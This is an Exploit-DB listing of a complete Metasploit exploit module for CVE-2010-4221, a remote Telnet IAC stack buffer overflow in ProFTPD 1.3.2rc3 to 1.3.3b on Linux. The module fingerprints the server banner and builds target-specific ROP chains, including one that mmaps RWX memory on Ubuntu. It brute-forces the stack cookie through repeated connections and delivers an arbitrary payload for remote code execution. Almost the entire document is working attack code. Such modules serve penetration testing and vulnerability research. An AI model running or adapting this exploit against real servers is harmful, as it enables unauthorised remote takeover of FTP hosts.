标题: ProFTPd 1.3.2 rc3 < 1.3.3b (Linux) - Telnet IAC Buffer Overflow (Metasploit) EDB-ID: 16851 CVE: 2010-4221 类型: REMOTE 平台: LINUX 发布日期: 2011-01-09 漏洞利用脚本: ##
# $Id: proftp_telnet_iac.rb 11525 2011-01-09 23:33:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 #include Msf::Exploit::Remote::Ftp
 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow in versions of ProFTPD
    server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
    large number of Telnet IAC commands, an attacker can corrupt memory and
    execute arbitrary code.

    The Debian Squeeze version of the exploit uses a little ROP stub to indirectly
    transfer the flow of execution to a pool buffer (the cmd_rec "res" in
    "pr_cmd_read").

    The Ubuntu version uses a full-blow ROP to mmap RWX memory, copy a small stub
    to it, and execute the stub. The stub then copies the remainder of the payload
    in and executes it.

    NOTE: Most Linux distributions either do not ship a vulnerable version of
    ProFTPD, or they ship a version compiled with stack smashing protection.

    Although SSP significantly reduces the probability of a single attempt
    succeeding, it will not prevent exploitation. Since the daemon forks in a
    default configuration, the cookie value will remain the same despite
    some attemtps failing. By making repeated requests, an attacker can eventually
    guess the cookie value and exploit the vulnerability.

    The cookie in Ubuntu has 24-bits of entropy. This reduces the effectiveness
    and could allow exploitation in semi-reasonable amount of time.
   },
   'Author'         => [ 'jduck' ],
   'Version'        => '$Revision: 11525 $',
   'References'     =>
    [
     ['CVE', '2010-4221'],
     ['OSVDB', '68985'],
     ['BID', '44562']
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'PrependChrootBreak' => true
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 4096,
     # NOTE: \xff are avoided here so we can control the number of them being sent.
     'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\xff",
     'DisableNops' =>  'True',
    },
   'Platform'       => [ 'linux' ],
   'Targets'        =>
   [
    #
    # Automatic targeting via fingerprinting
    #
    [ 'Automatic Targeting', { 'auto' => true }  ],

    #
    # This special one comes first since we dont want its index changing.
    #
    [ 'Debug',
     {
      'IACCount' => 8192, # should cause crash writing off end of stack
      'Offset' => 0,
      'Ret' => 0x41414242,
      'Writable' => 0x43434545
     }
    ],

    #
    # specific targets
    #

    # NOTE: this minimal rop works most of the time, but it can fail
    # if the proftpd pool memory is in a different order for whatever reason...
    [ 'ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1',
     {
      'IACCount' => 4096+16,
      'Offset' => 0x102c-4,
      # NOTE: All addresses are from the proftpd binary
      'Ret' => 0x805a547, # pop esi / pop ebp / ret
      'Writable' => 0x80e81a0, # .data
      'RopStack' =>
       [
        # Writable is here
        0xcccccccc, # unused
        0x805a544,  # mov eax,esi / pop ebx / pop esi / pop ebp / ret
        0xcccccccc, # becomes ebx
        0xcccccccc, # becomes esi
        0xcccccccc, # becomes ebp
        # quadruple deref the res pointer :)
        0x8068886,  # mov eax,[eax] / ret
        0x8068886,  # mov eax,[eax] / ret
        0x8068886,  # mov eax,[eax] / ret
        0x8068886,  # mov eax,[eax] / ret
        # skip the pool chunk header
        0x805bd8e,  # inc eax / adc cl, cl / ret
        0x805bd8e,  # inc eax / adc cl, cl / ret
        0x805bd8e,  # inc eax / adc cl, cl / ret
        0x805bd8e,  # inc eax / adc cl, cl / ret
        0x805bd8e,  # inc eax / adc cl, cl / ret
        0x805bd8e,  # inc eax / adc cl, cl / ret
        0x805bd8e,  # inc eax / adc cl, cl / ret
        0x805bd8e,  # inc eax / adc cl, cl / ret
        0x805bd8e,  # inc eax / adc cl, cl / ret
        0x805bd8e,  # inc eax / adc cl, cl / ret
        0x805bd8e,  # inc eax / adc cl, cl / ret
        0x805bd8e,  # inc eax / adc cl, cl / ret
        0x805bd8e,  # inc eax / adc cl, cl / ret
        0x805bd8e,  # inc eax / adc cl, cl / ret
        0x805bd8e,  # inc eax / adc cl, cl / ret
        0x805bd8e,  # inc eax / adc cl, cl / ret
        # execute the data :)
        0x0805c26c, # jmp eax
       ],
     }
    ],

    # For the version compiled with symbols :)
    [ 'ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)',
     {
      'IACCount' => 4096+16,
      'Offset' => 0x1028-4,
      # NOTE: All addresses are from the proftpd binary
      'Writable' => 0x80ec570, # .data
      'Ret' => 0x80d78c2, # pop esi / pop ebp / ret
      'RopStack' =>
       [
        # Writable is here
        #0x0808162a, # jmp esp (works w/esp fixup)
        0xcccccccc, # unused becomes ebp
        0x80d78c2,  # mov eax,esi / pop esi / pop ebp / ret
        0xcccccccc, # unused becomes esi
        0xcccccccc, # unused becomes ebp
        # quadruple deref the res pointer :)
        0x806a915,  # mov eax,[eax] / pop ebp / ret
        0xcccccccc, # unused becomes ebp
        0x806a915,  # mov eax,[eax] / pop ebp / ret
        0xcccccccc, # unused becomes ebp
        0x806a915,  # mov eax,[eax] / pop ebp / ret
        0xcccccccc, # unused becomes ebp
        0x806a915,  # mov eax,[eax] / pop ebp / ret
        0xcccccccc, # unused becomes ebp
        # skip the pool chunk header
        0x805d6a9,  # inc eax / adc cl, cl / ret
        0x805d6a9,  # inc eax / adc cl, cl / ret
        0x805d6a9,  # inc eax / adc cl, cl / ret
        0x805d6a9,  # inc eax / adc cl, cl / ret
        0x805d6a9,  # inc eax / adc cl, cl / ret
        0x805d6a9,  # inc eax / adc cl, cl / ret
        0x805d6a9,  # inc eax / adc cl, cl / ret
        0x805d6a9,  # inc eax / adc cl, cl / ret
        0x805d6a9,  # inc eax / adc cl, cl / ret
        0x805d6a9,  # inc eax / adc cl, cl / ret
        0x805d6a9,  # inc eax / adc cl, cl / ret
        0x805d6a9,  # inc eax / adc cl, cl / ret
        0x805d6a9,  # inc eax / adc cl, cl / ret
        0x805d6a9,  # inc eax / adc cl, cl / ret
        0x805d6a9,  # inc eax / adc cl, cl / ret
        0x805d6a9,  # inc eax / adc cl, cl / ret
        # execute the data :)
        0x08058de6, # jmp eax
       ],
     }
    ],

    [ 'ProFTPD 1.3.2c Server (Ubuntu 10.04)',
     {
      'IACCount' => 1018,
      'Offset' => 0x420,
      'CookieOffset' => -0x20,
      'Writable' => 0x80db3a0, # becomes esi (beginning of .data)
      'Ret' => 0x805389b,  # pop esi / pop ebp / ret
      'RopStack' =>
       [
        0xcccccccc, # becomes ebp

        0x8080f04,  # pop eax / ret
        0x80db330,  # becomes eax (GOT of mmap64)

        0x806a716,  # mov eax, [eax] / ret
        0x805dd5c,  # jmp eax
        0x80607b2,  # add esp, 0x24 / pop ebx / pop ebp / ret
        # mmap args
        0, 0x20000, 0x7, 0x22, 0xffffffff, 0,
        0, # unused
        0xcccccccc, # unused
        0xcccccccc, # unused
        0x100000000 - 0x5d5b24c4 + 0x80db3a4, # becomes ebx
        0xcccccccc, # becomes ebp

        # note, ebx gets fixed above :)
        # 0xfe in 'ah' doesn't matter since we have more than enough space.
        # now, load an instruction to store to eax
        0x808b542,  # pop edx / mov ah, 0xfe / inc dword ptr [ebx+0x5d5b24c4] / ret
        # becomes edx - mov [eax+ebp*4]; ebx / ret
        "\x89\x1c\xa8\xc3".unpack('V').first,

        # store it :)
        0x805c2d0,  # mov [eax], edx / add esp, 0x10 / pop ebx / pop esi / pop ebp / ret
        0xcccccccc, # unused
        0xcccccccc, # unused
        0xcccccccc, # unused
        0xcccccccc, # unused
        0xcccccccc, # becomes ebx
        0xcccccccc, # becomes esi
        0xcccccccc, # becomes ebp

        # Copy the following stub:
        #"\x8d\xb4\x24\x21\xfb\xff\xff" # lea esi, [esp-0x4df]
        #"\x8d\x78\x12"  # lea edi, [eax+0x12]
        #"\x6a\x7f"   # push 0x7f
        #"\x59"     # pop ecx
        #"\xf2\xa5"   # rep movsd

        0x80607b5,  # pop ebx / pop ebp / ret
        0xfb2124b4, # becomes ebx
        1, # becomes ebp
        0x805dd5c,  # jmp eax

        0x80607b5,  # pop ebx / pop ebp / ret
        0x788dffff, # becomes ebx
        2, # becomes ebp
        0x805dd5c,  # jmp eax

        0x80607b5,  # pop ebx / pop ebp / ret
        0x597f6a12, # becomes ebx
        3, # becomes ebp
        0x805dd5c,  # jmp eax

        0x80607b5,  # pop ebx / pop ebp / ret
        0x9090a5f2, # becomes ebx
        4, # becomes ebp
        0x805dd5c,  # jmp eax

        0x80607b5,  # pop ebx / pop ebp / ret
        0x8d909090, # becomes ebx
        0, # becomes ebp
        0x805dd5c,  # jmp eax

        # hopefully we dont get here
        0xcccccccc,
       ],
     }
    ]

   ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Nov 1 2010'))

  register_options(
   [
    Opt::RPORT(21),
   ], self.class )
 end


 def check
  # NOTE: We don't care if the login failed here...
  ret = connect
  banner = sock.get_once

  # We just want the banner to check against our targets..
  print_status("FTP Banner: #{banner.strip}")

  status = CheckCode::Safe
  if banner =~ /ProFTPD (1\.3\.[23][^ ])/i
   ver = $1
   maj,min,rel = ver.split('.')
   relv = rel.slice!(0,1)
   case relv
   when '2'
    if rel.length > 0
     if rel[0,2] == 'rc'
      if rel[2,rel.length].to_i >= 3
       status = CheckCode::Vulnerable
      end
     else
      status = CheckCode::Vulnerable
     end
    end
   when '3'
    # 1.3.3+ defaults to vulnerable (until >= 1.3.3c)
    status = CheckCode::Vulnerable
    if rel.length > 0
     if rel[0,2] != 'rc' and rel[0,1] > 'b'
      status = CheckCode::Safe
     end
    end
   end
  end

  disconnect
  return status
 end


 def exploit
  connect
  banner = sock.get_once

  # Use a copy of the target
  mytarget = target

  if (target['auto'])
   mytarget = nil

   print_status("Automatically detecting the target...")
   if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then
    print_status("FTP Banner: #{banner.strip}")
    version = m[1]
   else
    raise RuntimeError, "No matching target"
   end

   regexp = Regexp.escape(version)
   self.targets.each do |t|
    if (t.name =~ /#{regexp}/) then
     mytarget = t
     break
    end
   end

   if (not mytarget)
    raise RuntimeError, "No matching target"
   end

   print_status("Selected Target: #{mytarget.name}")
  else
   print_status("Trying target #{mytarget.name}...")
   if banner
    print_status("FTP Banner: #{banner.strip}")
   end
  end

  #puts "attach and press any key"; bleh = $stdin.gets

  buf = ''
  buf << 'SITE '

  #buf << "\xcc"
  if mytarget['CookieOffset']
   buf << "\x8d\xa0\xfc\xdf\xff\xff"  # lea esp, [eax-0x2004]
  end
  buf << payload.encoded

  # The number of characters left must be odd at this point.
  buf << rand_text(1) if (buf.length % 2) == 0
  buf << "\xff" * (mytarget['IACCount'] - payload.encoded.length)

  buf << rand_text_alphanumeric(mytarget['Offset'] - buf.length)

  addrs = [
   mytarget['Ret'],
   mytarget['Writable']
  ].pack('V*')

  if mytarget['RopStack']
   addrs << mytarget['RopStack'].map { |e|
    if e == 0xcccccccc
     rand_text(4).unpack('V').first
    else
     e
    end
   }.pack('V*')
  end

  # Make sure we didn't introduce instability
  addr_badchars = "\x09\x0a\x0b\x0c\x20"
  if idx = Rex::Text.badchar_index(addrs, addr_badchars)
   raise RuntimeError, ("One or more address contains a bad character! (0x%02x @ 0x%x)" % [addrs[idx,1].unpack('C').first, idx])
  end

  buf << addrs
  buf << "\r\n"


  #
  # In the case of Ubuntu, the cookie has 24-bits of entropy. Further more, it
  # doesn't change while proftpd forks children. Therefore, we can try forever
  # and eventually guess it correctly.
  #
  # NOTE: if the cookie contains one of our bad characters, we're SOL.
  #
  if mytarget['CookieOffset']
   print_status("!!! Attempting to bruteforce the cookie value! This can takes days. !!!")

   disconnect

   max = 0xffffff00
   off = mytarget['Offset'] + mytarget['CookieOffset']

   cookie = last_cookie = 0
   #cookie = 0x17ccd600

   start = Time.now
   last = start - 10

   while not session_created?
    now = Time.now
    if (now - last) >= 10
     perc = (cookie * 100) / max
     qps = ((cookie - last_cookie) >> 8) / 10.0
     print_status("%.2f%% complete, %.2f attempts/sec - Trying: 0x%x" % [perc, qps, cookie])
     last = now
     last_cookie = cookie
    end

    sd = connect(false)
    sd.get_once
    buf[off, 4] = [cookie].pack('V')
    sd.put(buf)
    disconnect(sd)

    cookie += 0x100
    break if cookie > max
   end

   if not session_created?
    raise RuntimeError, "Unable to guess the cookie value, sorry :-/"
   end
  else
   sock.put(buf)
   disconnect
  end

  handler
 end

end URL: https://www.exploit-db.com/exploits/16851